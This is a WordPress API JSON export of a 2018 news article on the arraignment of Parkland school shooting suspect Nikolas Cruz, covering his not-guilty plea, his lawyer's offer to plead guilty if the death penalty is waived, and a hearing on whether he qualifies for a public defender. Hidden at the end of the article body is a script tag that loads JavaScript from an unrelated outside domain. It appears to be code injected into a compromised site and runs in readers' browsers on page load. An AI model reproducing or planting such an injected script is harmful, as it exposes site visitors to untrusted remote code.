{"id":218993,"date":"2018-03-14T14:01:18","date_gmt":"2018-03-14T18:01:18","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=218993"},"modified":"2018-03-14T14:14:13","modified_gmt":"2018-03-14T18:14:13","slug":"parkland-school-shooter-pleads-not-guilty-to-all-charges","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/parkland-school-shooter-pleads-not-guilty-to-all-charges\/","title":{"rendered":"Parkland School Shooter Pleads Not Guilty to All Charges"},"content":{"rendered":"<p><strong>FLORIDA &#8212;\u00a0<\/strong>Nikolas Cruz, the student who has been charged with 34 counts of murder and attempted murder in a shooting that occurred at Marjory Stoneman Douglas High School in Parkland, Florida on Valentine&#8217;s Day, plead not guilty at an arraignment hearing Wednesday morning.<\/p>\n<p>Cruz sat with his head hung without looking at members of the victims&#8217; families who sat in the audience while a large number of deputies surrounded the courtroom during the hearing.<\/p>\n<p>&#8220;In terms of entering a plea, we stand mute, your Honor,&#8221; stated Cruz&#8217;s attorney,\u00a0Melisa McNeill.<\/p>\n<p>McNeill advised the court and prosecuting attorneys that Cruz was willing to enter a plea of guilty at any time if they would waive the death penalty.<\/p>\n<p>Although a public defender was appointed to defend Cruz, questions arose during the hearing about his qualifications for a public defender.<\/p>\n<p>The Public Defender&#8217;s office filed a motion for a determination of indigency in order to determine\u00a0if Cruz is financially eligible for a public defender after discovering assets in excess of $30,000 available to Cruz.<\/p>\n<p>A hearing on that motion will be held in April allowing the courts more time to investigate Cruz&#8217;s assets and finances to determine\u00a0if he is eligible.<\/p>\n<p>If represented by a public defender, the state would then be responsible for all court costs during the trial.<\/p>\n<p>The next hearing in the trial is scheduled on April 27, 2018.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nikols Cruz pleads not guilty during his arraignment hearing where he faces 34 charges of murder and attempted murder after allegedly shooting 17 people at a high school in Parkland, Florida.<\/p>\n","protected":false},"author":1,"featured_media":218994,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[325,12],"tags":[2319,2323,3162,513,3305,3304,1418,2270,111,1537],"class_list":["post-218993","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-florida-news","category-u-s-news","tag-cruz","tag-douglas","tag-high","tag-murder","tag-nikolas","tag-parkland","tag-school","tag-shooter","tag-shooting","tag-suspect","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/12.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/218993","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=218993"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/218993\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/218994"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=218993"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=218993"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=218993"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}